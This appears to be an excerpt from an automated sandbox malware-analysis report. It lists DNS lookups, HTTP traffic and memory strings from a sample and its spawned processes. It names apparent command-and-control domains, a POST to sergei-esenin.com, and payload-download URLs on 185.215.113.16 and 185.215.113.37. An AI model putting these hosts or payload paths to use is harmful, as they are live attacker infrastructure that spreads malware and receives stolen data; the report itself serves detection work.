Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=12e02704e9094dadc47aca7d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 02:57:10 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control% equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3205919876.0000022908203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3205919876.0000022908203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.3205919876.0000022908203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:57:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTmREaCqtlG10HKFVl0FOti8HEGgILy2ICdPZ%2F%2FQ347zEVk1SU25hPC%2FcaHxd42JqAWts2KBhXIbXx3%2FtfpxYpcdRT9Up9L9stsdHp3fFarUJzGz%2B2pWtg9YTzf7krr49dQZkQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76b2ac68b32e64-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:58:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jGemXCJte6w59AwDLXhvz51%2B1KbMXkr5%2F%2FeHEDtSIPv4eB0%2FxiIA8b2x7BcnBpbYy1h2iKTiiEBugkSSXVFAphgMMgY1F0YlJ9U0Nvyoyay84u8tHztbumIkSF3btMemEoTlAw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76b4562ae0a921-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:58:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8OXDBMMDI342U62NXFBJbCUdvFRTFIn39gEqYqyxWGtbDbrKviCfzGyTLm7iLojcCjhxuoi4es4PKQZ3NvfZWpc1pLhMzaYydNVlhORNMxLQO%2Fz4%2FlblRg86cmGGR%2BE2%2Bkl5yA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76b4b76fba45ea-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:59:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l29P38fQfuq1ExIQWEh0o6%2FufqGCFc5Qy4BvDMRsLwwPGId4flMXzoWTVKSe5sNainzuErubMkyOVqQu%2FX4KqbF7gX0hx5OAQz7tfjO6sktK5P0UXabEOuUBmzE0jlMsvk%2FuBw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76b5859a766c04-DFW

Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 3f779c1cca.exe, 0000000B.00000003.3117158096.0000000001211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/5.
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/c.
Source: 3f779c1cca.exe, 0000000B.00000003.3117158096.0000000001211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/k
Source: file.exe, file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe%
Source: 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeF
Source: 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exed
Source: file.exe, 00000000.00000003.2559608605.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559254561.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeor
Source: file.exe, file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeh
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exek
Source: file.exe, file.exe, 00000000.00000003.2559608605.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559254561.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeE
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeo
Source: 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exev
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/C
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/J
Source: num.exe, 0000001F.00000002.3117634363.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/LMEM0
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: num.exe, 0000001F.00000002.3117634363.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php-
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.
Source: 994a9a760e.exe, 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.b
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php/
Source: num.exe, 0000001F.00000002.3117634363.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 00000020.00000002.3226332079.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpA
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpB
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpC
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpE
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpEs
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpIcu
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpO
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpU
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpindows
Source: num.exe, 0000001F.00000002.3117634363.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpm
Source: num.exe, 0000001F.00000002.3117634363.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpn
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phps
Source: 994a9a760e.exe, 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/oI)
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/q~
Source: num.exe, 0000001F.00000002.3117634363.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ta
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015D8000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.3117634363.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: num.exe, 0000001F.00000002.3117634363.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/z
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.379
Source: num.exe, 0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37B
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37e
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37x
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000031.00000003.3269149616.000001F87F426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000031.00000003.3268210586.000001F87F462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000031.00000003.3269149616.000001F87F426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000031.00000003.3268210586.000001F87F462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressionsd
Source: firefox.exe, 00000031.00000003.3269149616.000001F87F426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001C.00000003.3160352065.000002AE095A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3198675440.000002AE0D249000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3148492638.000002AE089CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3148492638.000002AE089DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3299369547.000001F810ADB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3332203094.000001F8164F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3323794501.000001F816099000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3286684174.000001F80F05E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3312905561.000001F87FBF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3287588091.000001F80F062000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3287869534.000001F80F074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3286804306.000001F80F057000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000031.00000003.3286684174.000001F80F05E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3286327622.000001F80F0AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3287588091.000001F80F062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc
